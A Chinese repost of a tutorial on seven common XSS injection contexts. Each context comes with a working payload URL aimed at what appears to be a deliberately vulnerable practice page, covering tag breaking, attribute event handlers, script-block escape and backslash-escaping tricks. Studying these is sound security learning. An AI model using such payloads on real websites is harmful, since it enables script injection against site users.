常见的7种XSS
1. URL Reflection
当URL以某种方式反映在源代码中时,我们可以添加自己的XSS向量/有效负载。对于PHP页面,可以使用斜杠字符(/)在页面名称之后添加任何内容
http://brutelogic.com.br/xss.php/”><svg onload=alert(1)>
需要使用前导标记(“>”)来突破当前标记,以便插入新标记

2. Simple HTMLi (HTML injection)
最简单的输入,恰好在现有标签之间的代码中,在它们之前或之后。无需逃避或破坏任何东西,任何简单的XSS向量(<tag handler=jsCode>)都能完成
http://brutelogic.com.br/xss.php?a=<svg onload=alert(1)>

3. Inline HTMLi
几乎与前一个一样简单,但有一点“>前置突破当前标签
http://brutelogic.com.br/xss.php?b1=”><svg onload=alert(1)>

4. Inline HTMLi: No Tag Breaking
当输入登陆HTML属性并且过滤大于字符(>)时,就不可能像前一种情况那样打破当前标记

http://brutelogic.com.br/xss.php?b3=” onmouseover=alert(1)// 这样既可突破
它关闭了值并为插入onmouseover事件处理程序提供了空间。指向警报(1)后跟双斜线以注释悬挂引号,当受害者将他/她的鼠标指向受影响的输入字段时触发js弹出窗口
5. HTMLi in Js (Javascript) Block
输入有时会进入javascript块(脚本标记),通常是代码的某个变量的值。但是因为HTML标记在浏览器的解析中具有优先权,所以我们可以简单地终止块并插入新标记
http://brutelogic.com.br/xss.php?c1=</script><svg onload=alert(1)>

6. Simple Js Injection

所以要走的是注入javascript代码,尊重语法。一种已知的方法是将易受攻击的变量的值“连接”到我们想要执行的代码。因为我们不能让任何引号挂起,我们首先断开,连接到我们的代码(带减号),然后反向(连接然后插入引号)以获得有效的javascript语法
http://brutelogic.com.br/xss.php?c3=’-alert(1)-‘

7. Escaped Js Injection
在前一种情况下,如果使用反斜杠(\)转义引号(负责转出变量的值),则注入将不起作用(语法无效)。

为此,我们有一个小技巧:逃避逃脱。我们插入一个前导反斜杠来逃避添加的反斜杠然后报价将起作用。在“连接”到我们想要的js代码之后,我们需要注释掉其余部分,因为在注入的剩余部分没有办法重复该过程。
http://brutelogic.com.br/xss.php?c5=\’-alert(1)//

转载:
https://brutelogic.com.br/blog/the-7-main-xss-cases-everyone-should-know/
常见的7种XSS的更多相关文章
- Java常见的几种内存溢出及解决方法
Java常见的几种内存溢出及解决方法[情况一]:java.lang.OutOfMemoryError:Javaheapspace:这种是java堆内存不够,一个原因是真不够(如递归的层数太多等),另一 ...
- java中常见的几种Runtimeexception
转自http://blog.csdn.net/qq635785620/article/details/7781026 一般面试中java Exception(runtimeException )是必会 ...
- JS 跨域问题常见的五种解决方式
一.什么是跨域? 要理解跨域问题,就先理解好概念.跨域问题是由于javascript语言安全限制中的同源策略造成的. 简单来说,同源策略是指一段脚本只能读取来自同一来源的窗口和文档的属性,这里的同一来 ...
- 常见的几种RuntimeException
一般面试中java Exception(runtimeException )是必会被问到的问题 常见的异常列出四五种,是基本要求.更多的....需要注意积累了 常见的几种如下: NullPoi ...
- 避免常见的6种HTML5错误用法
一.不要使用section作为div的替代品 人们在标签使用中最常见到的错误之一就是随意将HTML5的<section>等价于<div>——具体地说,就是直接用作替代品(用于样 ...
- WCF中常见的几种Host,承载WCF服务的方法
1:写在前面 我们都知道WCF在运行的时候必须自己提供宿主来承载服务.WCF 本身没有附带宿主,而是提供了一个 ServiceHost 的类,该类允许您在自己的应用程序中host WCF 服务.然后调 ...
- Java 获取*.properties配置文件中的内容 ,常见的两种方法
import java.io.InputStream; import java.util.Enumeration; import java.util.List; import java.util.Pr ...
- C++中常见的几种异常类型
1.C++具有完善的异常捕获机制,采用try{} catch(){}机制,这是C语言无法比拟的 2.常见的几种异常: bad_alloc: 请求分配内存失败, operator new ...
- ORACLE中常见的几种锁
ORACLE中常见的几种锁: 0:none 1:null 空 2:Row-S 行共享(RS):共享表锁,sub share 3:Row-X 行独占(RX):用于行的修改,sub exclusive 4 ...
随机推荐
- PdfReader按页将PDF切割成多个PDF
private MemoryStream GetNewPdfByPageNum(PdfReader pdfReader, int pageNum) { MemoryStream memoryStrea ...
- 前端笔记之NodeJS(三)Express&ejs模板引擎&请求识别
一.Express框架 1.1基本使用 创建http服务器特别麻烦,express框架解决了这个的问题. Express在node界的地位,就相当于jQuery在DOM界的地位.jQuery的核心就是 ...
- SignalR第一节-在5分钟内完成通信连接和消息发送
前言 首先声明,这又是一个小白从入门到进阶系列. SignalR 这个项目我关注了很长时间,中间好像还看到过微软即将放弃该项目的消息,然后我也就没有持续关注了,目前的我项目中使用的是自己搭建的 Web ...
- 第12章 X.509证书库的Fluent API - IdentityModel 中文文档(v1.0.0)
存储X.509证书的常见位置是Windows X.509证书存储区.商店的原始API有点神秘(在.NET Framework和.NET Core之间也略有变化). X509类是一个简化的API从所述存 ...
- str.方法的整理(字符串类型内置方法的具体使用)
<1>str.strip().str.lstrip()和str.rstrip() 1' str.strip()(主要方法) 方法:str.strip(self,chars) 作用:移除字符 ...
- idea配置tomcat运行按钮置灰,下拉没有自定义的tomcat选项
一.问题 下拉没有自定义tomcat的选项 run按钮置灰,点不了 二.解决 添加自己的tomcat时,一定要点加号,不要用那个默认的.
- css控制元素高度自适应
可以采用元素定位 + padding 的方式使特定元素高度自适应. css 样式: html,body{ height:100%; margin:; padding:; } .wrap { heigh ...
- React 项目生产版本迭代页面不刷新问题
React 页面缓存 react 打包项目进行服务端部署后,会发现index.html被浏览器缓存,访问项目url指向的还是上个版本的内容.原理是index.html被缓存后,路由指向和跳转都是旧版的 ...
- (四)图数据neo4j用户管理
1.用户管理 neo4j可通过内置函数,进行用户的创建.查看.删除. (1)用户创建; CALL dbms.security.createUser(name,password,requridchang ...
- 第八周LINUX学习笔记
vsftpd丶NFS丶SAMBA nfs基于rpcsamba基于cifs(smb) DRBD: ftp:File Transfer protocol 文件传输协议 两个连接: tcp:命 ...